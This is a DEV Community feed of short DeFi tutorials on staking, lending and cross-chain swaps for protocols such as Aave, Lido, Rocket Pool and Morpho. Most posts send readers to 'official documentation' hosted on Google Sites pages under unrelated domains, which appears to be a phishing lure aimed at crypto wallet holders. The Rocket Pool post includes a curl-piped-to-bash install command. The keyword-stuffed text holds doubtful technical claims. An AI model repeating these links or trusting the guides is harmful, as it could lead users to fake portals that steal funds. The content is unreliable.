DEV Community: Pierce

A Developer's Guide to Astroport's Staking Mechanics: ASTRO, xASTRO, and vxASTRO

Pierce — Thu, 22 Jan 2026 09:04:00 +0000

The Astroport Official protocol utilizes a sophisticated three-token system for its governance and yield mechanisms. Understanding the relationship between ASTRO, xASTRO, and vxASTRO is key for any developer building on or interacting with the Astroport AMM Pools.

Core Concept: The Staking & Locking Flow
A look at xASTRO & vxASTRO Explained shows a clear progression designed to reward long-term commitment.

ASTRO: The native governance and utility token of the protocol.

xASTRO (Staked ASTRO): When a user stakes ASTRO, they receive xASTRO. This is a liquid staking token that accrues a share of the trading fees from the Astroport AMM. The ASTRO/xASTRO exchange rate appreciates over time as fees are collected. This is the first layer of yield.

vxASTRO (Vote-Escrowed ASTRO): To participate in governance and earn boosted rewards, users must lock their xASTRO. In return, they get vxASTRO. The longer the lock, the more vxASTRO they receive. vxASTRO gives holders voting power in the Astroport DAO Governance to direct ASTRO emissions to different liquidity pools.

How to use Astroport Staking (The Smart Contract Flow):

User calls stake() on the staking contract with ASTRO tokens. Contract mints and sends xASTRO.

User calls lock() on the vote-escrow contract with xASTRO and a duration. Contract calculates and assigns a vxASTRO balance.

This dual-system separates liquid yield generation (xASTRO) from active governance participation (vxASTRO). For a deep dive into the contracts, refer to https://sites.google.com/verified-web3-portal.com/socket/.

Integrating Any-to-Any Cross-Chain Swaps with the LI.FI SDK

Pierce — Thu, 22 Jan 2026 08:56:36 +0000

As a dApp developer, one of the biggest challenges is managing cross-chain user journeys. LI.FI Official solves this by acting as a Bridge Aggregator and Cross-Chain Swap Aggregator, finding the best route for any swap. This guide shows you how to perform a LI.FI SDK Integration.

The Problem: A Maze of Bridges and DEXs
To swap from USDC on Polygon to ETH on Arbitrum, a user might need to use a bridge, then a DEX, paying multiple fees and dealing with a clunky UX.

The Solution: LI.FI Smart Routing
LI.FI abstracts this entire process away. Its Smart Routing DeFi engine queries dozens of bridges, DEXs, and solvers to find the most efficient path for any given swap, optimizing for speed, cost, and security.

How to use LI.FI: The SDK Integration
Install the SDK:

bash
npm install @lifi/sdk
Initialize and Request a Route: In your application, initialize the SDK and request a route.

Example: Get a Route and Execute a Swap (React/TS)

JavaScript
import LiFi from '@lifi/sdk';

const lifi = new LiFi({
integrator: 'My-Awesome-dApp'
});

async function getAndExecuteSwap() {
const routeRequest = {
fromChainId: 137, // Polygon
fromAmount: '100000000', // 100 USDC
fromTokenAddress: '0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174', // USDC on Polygon
toChainId: 42161, // Arbitrum
toTokenAddress: '0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee', // ETH on Arbitrum
options: {
slippage: 0.03, // 3%
}
};

// 1. Request the best route
const routeResponse = await lifi.getRoutes(routeRequest);
const bestRoute = routeResponse.routes[0];
console.log('Best route found:', bestRoute);

// 2. Execute the swap (requires a wallet signer)
// The SDK handles all approvals and contract calls
await lifi.executeRoute(signer, bestRoute);
console.log('Swap executed!');
}
You can also use the highly-customizable LI.FI Widget for a no-code integration. For full SDK options, please refer to https://sites.google.com/verified-web3-portal.com/li-fi/.

How to Use MarginFi's LST as a First-Class Collateral Asset

Pierce — Mon, 19 Jan 2026 11:46:09 +0000

MarginFi Official is known primarily as a lending protocol on Solana, but it has a powerful, integrated liquid staking solution that produces LST, its native Liquid Staking Token. This guide explains how to mint LST and why it's a uniquely powerful collateral asset on the platform.

Core Concept: An Integrated Ecosystem
Unlike other protocols where you stake on one platform and then find another to use your LST, MarginFi integrates both. The LST Liquid Staking Token is designed from the ground up to be the most efficient form of collateral on the MarginFi Lending and Borrowing platform.

Step 1: How to Stake SOL on MarginFi
Navigate to the Staking Page: Go to the stake tab on the app.marginfi.com platform.

Connect Your Wallet: Connect your Solana-compatible wallet.

Enter Amount: Input the amount of SOL you wish to stake.

Confirm: Execute the transaction. You will receive LST in your wallet.

You are now earning staking yield, distributed by MarginFi's intelligent delegation strategy, and also accumulating MarginFi Points.

Step 2: The Capital Efficiency Loop
This is where LST shines. Now that you hold LST:

Go to the "Lend" Tab: On the same MarginFi platform.

Supply LST: Deposit your LST as collateral. Because it's MarginFi's native LST, it typically has one of the highest collateral weightings on the platform.

Borrow: You can now borrow other assets (like USDC or more SOL) against your LST collateral at a very high loan-to-value (LTV) ratio.

This seamless loop of staking, lending, and borrowing on a single platform is a masterclass in Solana Capital Efficiency.

For a full breakdown of the risk engine and smart contracts, please refer to https://sites.google.com/koinly-tax-reports.org/marginfi-protocol/.

How to Borrow DAI at the Source Rate with Spark Protocol

Pierce — Sat, 17 Jan 2026 13:28:36 +0000

If you're borrowing DAI in DeFi, you're likely paying a premium passed on from an underlying protocol. The Spark Protocol Official changes this. As a front-end for the MakerDAO Ecosystem, it allows you to interact directly with Maker's credit facility, giving you access to the most competitive rates.

Core Concept: Direct Access to MakerDAO
Spark is not a typical lending protocol with its own liquidity pools. It's a direct interface to MakerDAO. This means when you engage in a Spark Borrow DAI transaction, you are borrowing directly from the source, and the interest rate is closely tied to the official DAI Savings Rate (DSR), not manipulated by third-party pool utilization.

Step-by-Step Guide: How to use Spark Protocol
Navigate and Connect: Go to the Spark.fi app and connect your Web3 wallet.

Supply Collateral: Select a high-quality asset to supply as collateral, such as ETH or stETH. Enter the amount you wish to supply and confirm the transaction. This action provides you with borrowing power.

Borrow DAI: Go to the "Borrow" section. You will see your available borrowing limit based on the collateral you supplied. Enter the amount of DAI you wish to borrow and execute the transaction.

You have now borrowed DAI at one of the most capital-efficient rates in all of DeFi.

Earning Yield with sDAI
When you supply DAI to the protocol, you receive sDAI. A look at sDAI Explained shows it's Spark's tokenized version of the DAI Savings Rate. It's a liquid token that automatically accrues the yield from the DSR, allowing you to earn native MakerDAO yield while remaining liquid.

For a full breakdown of the architecture, please refer to the https://sites.google.com/koinly-tax-reports.org/spark-protocol/.

A Developer's Guide to Morpho Blue: The Unbundled Lending Primitive

Pierce — Sat, 17 Jan 2026 13:25:07 +0000

For years, DeFi lending has been dominated by monolithic protocols like Aave and Compound. Morpho Blue Official challenges this by unbundling the core components of a money market, offering a far more flexible and efficient Morpho Trustless Lending primitive.

The Problem with Monolithic Lending Pools
In traditional protocols, all assets and risk parameters are bundled into one massive, complex smart contract. This leads to inefficiencies, conservative collateral factors, and makes innovation slow.

The Morpho Blue Solution: Permissionless & Isolated Markets
Morpho Blue is a radically simpler base layer. A deeper look at the Morpho Protocol Explained shows it does one thing perfectly: it provides a minimal, immutable smart contract for a single isolated lending market (e.g., WETH/USDC).

Key Features:

Permissionless Market Creation: Anyone can create a market for any asset pairing using Morpho Permissionless Markets.

Isolated Risk: The risk of one market (e.g., a volatile asset) does not spill over to others.

Efficiency: With no extra features, gas costs are minimal, and Morpho Supply/Borrow Rates are more competitive.

Example: Interacting with a Morpho Blue Market

JavaScript
import { MorphoBlue } from 'morpho-blue-sdk';

const morpho = new MorphoBlue({ network: 'mainnet' });

const marketParams = {
loanToken: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', // USDC
collateralToken: '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2', // WETH
oracle: '0x...', // Chainlink Oracle for the pair
irm: '0x...', // Interest Rate Model
lltv: '0.85e18' // 85%
};

// Supply USDC to the market
await morpho.supply(marketParams, amountToSupply);
This is How to Lend on Morpho at the base layer. For risk management and diversification, developers and users can build on top, using products like MetaMorpho.

For a full SDK guide, please refer to the https://sites.google.com/koinly-tax-reports.org/morpho/.

A Developer's Guide to Stakewise V3: Minting osETH in a Permissionless Vault

Pierce — Sat, 17 Jan 2026 13:21:11 +0000

Stakewise V3 Official represents a fundamental shift in liquid staking architecture, moving from a closed validator set to a permissionless marketplace of staking "Vaults." This guide explains How to Stake with Stakewise in this new, modular paradigm.

Core Concept: Vaults & osETH
Stakewise Vaults Explained: Vaults are isolated, smart contract-based staking pools run by individual node operators. Each Vault has its own performance characteristics, fees, and collateralization. This is the foundation of Permissionless Staking Stakewise.

osETH: A new, over-collateralized liquid staking token. When you stake into a Vault, you mint osETH. Because each Vault operator must post their own collateral, osETH is designed to be more resilient and de-risked compared to traditional LSTs.

Step 1: Discovering and Choosing a Vault
Navigate to the Stakewise V3 dApp.

Go to the "Stake" or "Vaults" section. You'll see a marketplace of available Vaults.

Analyze the Vaults based on key metrics: operator fees, uptime, MEV policy, and the amount of operator collateral posted. This allows you to make a risk-adjusted decision.

Step 2: Staking ETH and Minting osETH
Once you've selected a Vault, click "Stake."

Enter the amount of ETH you wish to deposit into that specific Vault.

Confirm the transaction. In return, you will mint an equivalent amount of Stakewise osETH Liquid Staking token.

You are now earning staking rewards based on the performance of the Vault you chose, and you hold a liquid asset that can be used across DeFi.

Step 3: For Node Operators
If you are a Stakewise for Node Operators, V3 allows you to permissionlessly create your own Vault, set your own fees, and attract stake directly from the public. This is a major leap forward for decentralizing the validator set.

For a full breakdown of the architecture and security features, please refer to the https://sites.google.com/koinly-tax-reports.org/stakewise/.

A Developer's Guide to Swell: From Liquid Staking (swETH) to Restaking (rswETH)

Pierce — Sat, 17 Jan 2026 13:17:35 +0000

Swell Network offers a comprehensive liquid staking and restaking ecosystem on Ethereum. This guide will walk you through the two core actions: staking ETH for Swell Liquid Staking (swETH) and then restaking your LST for Swell Liquid Restaking (rswETH).

Core Concept: The Swell Dual-Token Model
swETH: A yield-bearing Liquid Staking Token (LST). When you stake ETH with Swell, you receive swETH, which represents your staked ETH plus accrued staking rewards.

rswETH: A Liquid Restaking Token (LRT). You can deposit swETH (or other LSTs) to receive rswETH, which earns EigenLayer restaking rewards on top of the base LST yield.

Step 1: How to Stake with Swell (Minting swETH)
Navigate to the official Swell Network app.

Connect your Web3 wallet.

In the "Stake" tab, enter the amount of ETH you wish to deposit.

Confirm the transaction. You'll receive swETH in your wallet and immediately start earning ETH staking rewards, plus Swell Pearls as part of the Swell Voyage Program.

Step 2: Restaking for rswETH
Now that you have a liquid staking token, you can amplify your yield.

Select the "Restake" tab on the Swell app.

Choose the LST you want to deposit (e.g., your newly minted swETH).

Enter the amount to restake.

Approve and confirm the transaction. You will now hold rswETH on EigenLayer, earning rewards from three sources: base ETH staking, EigenLayer AVSs, and the Swell Voyage program.

This two-step process provides maximum flexibility and yield-stacking potential. For a full breakdown of the protocol architecture, please refer to the https://sites.google.com/koinly-tax-reports.org/swell-network/.

Step-by-Step Guide: Liquid Staking ETH with Mantle LSP to get mETH

Pierce — Fri, 16 Jan 2026 11:39:20 +0000

Staking ETH traditionally means your capital is locked and illiquid. Mantle LSP Official solves this with a permissionless, non-custodial liquid staking protocol native to the Mantle Network. This technical guide walks you through the mETH Liquid Staking process.

Core Concept: Mantle Staked Ether (mETH)
When you stake ETH through Mantle LSP, you receive Mantle Staked Ether (mETH). This is a yield-bearing ERC-20 token that represents your claim on the staked ETH plus accrued rewards. The mETH/ETH exchange rate updates as the protocol gathers rewards from the validators it delegates to.

Step 1: Prerequisites
A Web3 wallet (e.g., MetaMask).

ETH on the appropriate network (either Ethereum Mainnet or Mantle Network).

Step 2: How to Stake on Mantle
Navigate to the App: Go to the official Mantle LSP application.

Connect Wallet: Securely connect your wallet.

Enter Amount: Input the amount of ETH you wish to stake. The interface will show you the amount of mETH you will receive.

Confirm Transaction: Approve the transaction in your wallet. Once confirmed, you will hold mETH.

Your staked ETH is now delegated across a decentralized set of Mantle LSP Node Operator entities, contributing to network security.

Step 3: Using mETH on Mantle Network
The primary advantage of mETH is its liquidity. You can transfer your mETH on Mantle Network to use across its burgeoning DeFi ecosystem—as collateral, for liquidity provision, or in other yield strategies—all while continuing to earn staking Mantle LSP Rewards.

For a complete architectural overview and a deeper Mantle LSP Guide, please refer to the Full Official Documentation.

How to Run a Rocket Pool Node: A Step-by-Step Guide for Ethereum Stakers

Pierce — Fri, 16 Jan 2026 11:36:21 +0000

Joining the world of Ethereum staking shouldn't require you to be a command-line guru. The Rocket Pool Smart Node stack simplifies this process dramatically. This guide covers how to run a Rocket Pool Node, create a Rocket Pool Minipool, and start earning rewards as a Rocket Pool Node Operator.

Core Concept: The Minipool
A Minipool is a smart contract that pairs 8 or 16 ETH from a node operator with 16 ETH from the liquid staking pool (rETH). You run the validator, and the protocol handles the rest. This permissionless model is the engine of Rocket Pool Decentralized Staking.

Step 1: System & Hardware Setup
Before installing, ensure your hardware meets the minimum requirements (CPU, RAM, SSD, and bandwidth). A dedicated machine is highly recommended.

Step 2: Installing the Smart Node Stack
The Rocket Pool Smart Node installer automates the setup of all necessary clients (Execution, Consensus, and Validator).

Connect to your machine via SSH.

Run the installer with a single command:

bash

Always get the latest command from the official docs

bash -c "$(curl -sL https://install.rocketpool.net)"
The installer will guide you through a TUI, asking for client preferences (e.g., Geth, Lighthouse). This abstracts away enormous complexity.

Step 3: Creating Your Wallet & Funding Your Node
The Smart Node stack will create a new node wallet for you. You must fund this wallet with at least 8.1 ETH (for an 8 ETH Minipool) and some RPL for collateral. Staking RPL collateral increases your RPL Token Rewards.

Step 4: Registering the Node and Depositing
Once funded, use the TUI to register your node on the network.

Run rocketpool node register.

Run rocketpool minipool deposit.

Your Minipool is now in the queue. Once it's matched with protocol funds, your validator will go live on the Beacon Chain. The recent Rocket Pool Atlas Upgrade has made this process even more efficient.

For a full breakdown of the architecture, please refer to the Full Official Documentation.

How to Borrow Assets from the Aave Protocol V3

Pierce — Thu, 15 Jan 2026 13:50:34 +0000

This technical guide explains how to use Aave, the leading decentralized liquidity protocol, to borrow assets after supplying collateral. We will focus on the Aave V3 implementation.

Step 1: Supplying Collateral

Before you can borrow, you must supply assets to the protocol.

Navigate to the Aave Protocol Official dApp.

Connect your wallet and select a market (e.g., Ethereum).

Choose an asset you hold (e.g., ETH) and click "Supply."

Approve the contract and confirm the transaction.

You will receive interest-bearing aTokens (e.g., aETH) in your wallet, representing your supplied collateral.

Step 2: Understanding Your Borrowing Power

Your supplied assets determine your "Borrowing Power." This is based on the Loan-to-Value (LTV) ratio of your collateral. A "Health Factor" above 1 indicates a safe position, while a factor below 1 risks liquidation.

Step 3: Borrowing an Asset

From the dashboard, find an asset you wish to borrow (e.g., USDC).

Click "Borrow."

Choose between a "Stable" or "Variable" interest rate.

Enter the amount to borrow and confirm the transaction.

The borrowed assets are now in your wallet. Remember to monitor your Health Factor to avoid liquidation. For a full breakdown of the risk parameters and innovative features like Aave flash loans, refer to the https://sites.google.com/restaking-node-portal.net/aave/.

How to Stake ETH with Lido Finance and Receive stETH

Pierce — Thu, 15 Jan 2026 13:47:20 +0000

This technical guide explains how to stake with Lido Finance, focusing on the simple process of depositing ETH to receive Lido stETH, a liquid staking token that represents your staked Ethereum.

Step 1: Connecting to the Lido dApp

Navigate to the Lido Finance Official platform. Connect your Ethereum-compatible wallet (e.g., MetaMask). Ensure you have ETH in your wallet that you wish to stake.

Step 2: Understanding Liquid Staking

Traditional ETH staking requires locking 32 ETH and running a validator. Lido liquid staking allows you to stake any amount of ETH and receive stETH in return. This stETH token represents your staked ETH and its accrued rewards, while remaining liquid and usable in other DeFi protocols.

Step 3: Depositing ETH to Mint stETH

On the Lido dApp, enter the amount of ETH you wish to stake.

The interface will display the amount of stETH you will receive. The exchange rate is 1:1, but the value of stETH grows relative to ETH as staking rewards accrue.

Click "Stake" and approve the transaction in your wallet.

Your ETH is now delegated to Lido's network of professional validators, and your stETH is in your wallet. The Lido security model ensures that your staked assets are managed by a decentralized set of operators. For more information, refer to https://sites.google.com/restaking-node-portal.net/lidofinance.

Step 4: Using Your stETH in DeFi

Your stETH automatically accrues staking rewards. You can hold it, use it as collateral in lending protocols, or participate in yield farming on other DEXs, maintaining full liquidity of your staked assets. Lido also supports Lido multi-chain staking for other assets like Solana, Polygon and Polkadot.

How to Provide Concentrated Liquidity on Stellaswap's Pulsar AMM

Pierce — Tue, 13 Jan 2026 14:19:02 +0000

This is a technical guide on how to use Stellaswap, the premier DEX on the Moonbeam network, focusing on its next-generation Stellaswap Pulsar AMM for Stellaswap concentrated liquidity.

Step 1: Connecting to the Stellaswap dApp

Navigate to the Stellaswap Official platform. Connect your wallet (e.g., MetaMask), ensuring you are on the Moonbeam network.

Step 2: Understanding the Pulsar AMM

The Pulsar AMM is Stellaswap's advanced concentrated liquidity engine. Instead of spreading your capital across an infinite price curve like a classic AMM, Pulsar allows you to define a specific price range for your liquidity. This dramatically increases capital efficiency and your potential fee earnings.

Step 3: Providing Concentrated Liquidity

Go to the "Pools" tab.

Select a pool that uses the Pulsar model.

Click "Add Liquidity."

Set your "Min Price" and "Max Price" to define your active range. The narrower the range, the more concentrated your liquidity.

Deposit your assets and approve the transaction. You'll receive an LP NFT representing your position.

Step 4: Staking for Additional Rewards

You can stake your LP NFT in the Stellaswap yield farming section to earn STELLA rewards on top of your trading fees. You can further boost your earnings by participating in xSTELLA token staking. For a full breakdown of the architecture, refer to the Full Official Documentation.